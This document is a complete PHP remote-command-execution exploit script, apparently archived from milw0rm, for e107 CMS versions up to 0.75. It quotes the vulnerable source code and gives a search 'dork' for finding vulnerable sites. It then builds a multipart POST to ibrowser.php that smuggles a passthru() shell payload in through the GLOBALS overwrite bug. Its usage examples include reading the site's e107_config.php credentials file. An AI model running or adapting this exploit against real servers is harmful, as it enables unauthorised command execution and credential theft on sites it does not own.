e107 <= 0.75 - (GLOBALS Overwrite) Remote Code Execution Exploit

                                                #!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
--------------------------------------------------------------------------------
e107 <= 0.75 GLOBALS[] overwrite/Zend_Hash_Del_Key_Or_Index remote commands
execution exploit
by rgod [email protected]
site: http://retrogod.altervista.org
dork: "This site is powered by e107"|inurl:e107_plugins|e107_handlers|e107_files
--------------------------------------------------------------------------------
');
/*
works with register_globals=On
against PHP < 4.4.1, 5 < PHP < 5.0.6
*/
if ($argc<4) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path cmd OPTIONS
host:      target server (ip/hostname)
path:      path to e107
cmd:       a shell command
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /e107/ ls -la -P1.1.1.1:80
php '.$argv[0].' localhost /e107/ cat ./../../../../e107_config.php -p81
--------------------------------------------------------------------------------
');
die;
}
/*
software site: http://e107.org/

vulnerable code in class2.php near lines 29-37:
...
// Destroy! (if we need to)
if($register_globals == true){
	while (list($global) = each($GLOBALS)) {
		if (!preg_match('/^(_POST|_GET|_COOKIE|_SERVER|_FILES|GLOBALS|HTTP.*|_REQUEST|retrieve_prefs|eplug_admin)$/', $global)) {
		unset($$global); [**]
		}
	}
	unset($global);
}
...
and in e107_handlers/tiny_mce/plugins/ibrowser/ibrowser.php near lines 26-40:

...
require_once("../../../../class2.php");
if (!defined('e107_INIT')) { exit; }
unset($tinyMCE_imglib_include); //[*]

// include image library config settings
include 'config.php';

$request_uri = urldecode(empty($HTTP_POST_VARS['request_uri'])?(empty($HTTP_GET_VARS['request_uri'])?'':$HTTP_GET_VARS['request_uri']):$HTTP_POST_VARS['request_uri']);

// if set include file specified in $tinyMCE_imglib_include

if (!empty($tinyMCE_imglib_include))
{
  include $tinyMCE_imglib_include; ///[***]
}
...

you can evade [*] by sending the hash keys of $tinyMCE_imglib_include var and
[**] (this *should* unsets the hash keys...) by sending a multipart/form-data
request with the "GLOBALS" var

here [***] the code will include the temporary file and execute our shellcode

see http://www.hardened-php.net/hphp/zend_hash_del_key_or_index_vulnerability.html
and http://www.hardened-php.net/advisory_202005.79.html

for details about this php vulnerabilities
*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$cmd="";
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$data="-----------------------------7d529a1d23092a\r\n";            #oh, I want to tell you a story, about a Telecom guy *
$data.="Content-Disposition: form-data; name=\"tinyMCE_imglib_include\"; filename=\"suntzu\";\r\n";   #that doesn't know *
$data.="Content-Type: image/jpeg;\r\n\r\n";       #the sovereign art of PHP kung-fu, now is desperate and he's seriously *
$data.="<?php error_reporting(0);set_time_limit(0);echo 'my_delim';passthru('".$cmd."');echo 'my_delim'; die;?>\r\n";#   *
$data.="-----------------------------7d529a1d23092a\r\n";            #thinking to kill himself, after he loosed his work *
$data.="Content-Disposition: form-data; name=\"-1203709508\"; filename=\"suntzu\";\r\n";//and his honour and self-respect*
$data.="Content-Type: image/jpeg;\r\n\r\n";                           //because of some brave guys that rooted his boxes.*
$data.="1\r\n";#                                                                                                         *
$data.="-----------------------------7d529a1d23092a\r\n";              #Now, guy, don't cry anymore, but... do something *
$data.="Content-Disposition: form-data; name=\"225672436\"; filename=\"suntzu\";\r\n";      #useful, please open the PHP *
$data.="Content-Type: image/jpeg;\r\n\r\n";                          #manual, like a respectful student. And start to... *
$data.="1\r\n";#                                                                                                         *
$data.="-----------------------------7d529a1d23092a\r\n";#                                                               *
$data.="Content-Disposition: form-data; name=\"GLOBALS\"; filename=\"suntzu\";\r\n";#                                    *
$data.="Content-Type: image/jpeg;\r\n\r\n";#                                                                             *
$data.="1\r\n";#                                                                                                         *
$data.="-----------------------------7d529a1d23092a--\r\n";#                                                             *
$packet ="POST ".$p."e107_handlers/tiny_mce/plugins/ibrowser/ibrowser.php HTTP/1.0\r\n";#                                *
$packet.="Host: ".$host."\r\n";#                                                                                         *
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";#                   *
$packet.="Content-Length: ".strlen($data)."\r\n";#                                                                       *
$packet.="Accept: text/plain\r\n";#                                                                                      *
$packet.="Connection: Close\r\n\r\n";#                                                                                   *
$packet.=$data;#                                                                                                         *
sendpacketii($packet);#                                                                                                  *
if (strstr($html,"my_delim")){#                                                                                          *
echo "exploit succeeded...\n";$temp=explode("my_delim",$html);die($temp[1]);                                   #...pray  *
}
echo "exploit failed... register_globals=off here or wrong PHP version\n";
?>

# milw0rm.com [2006-08-28]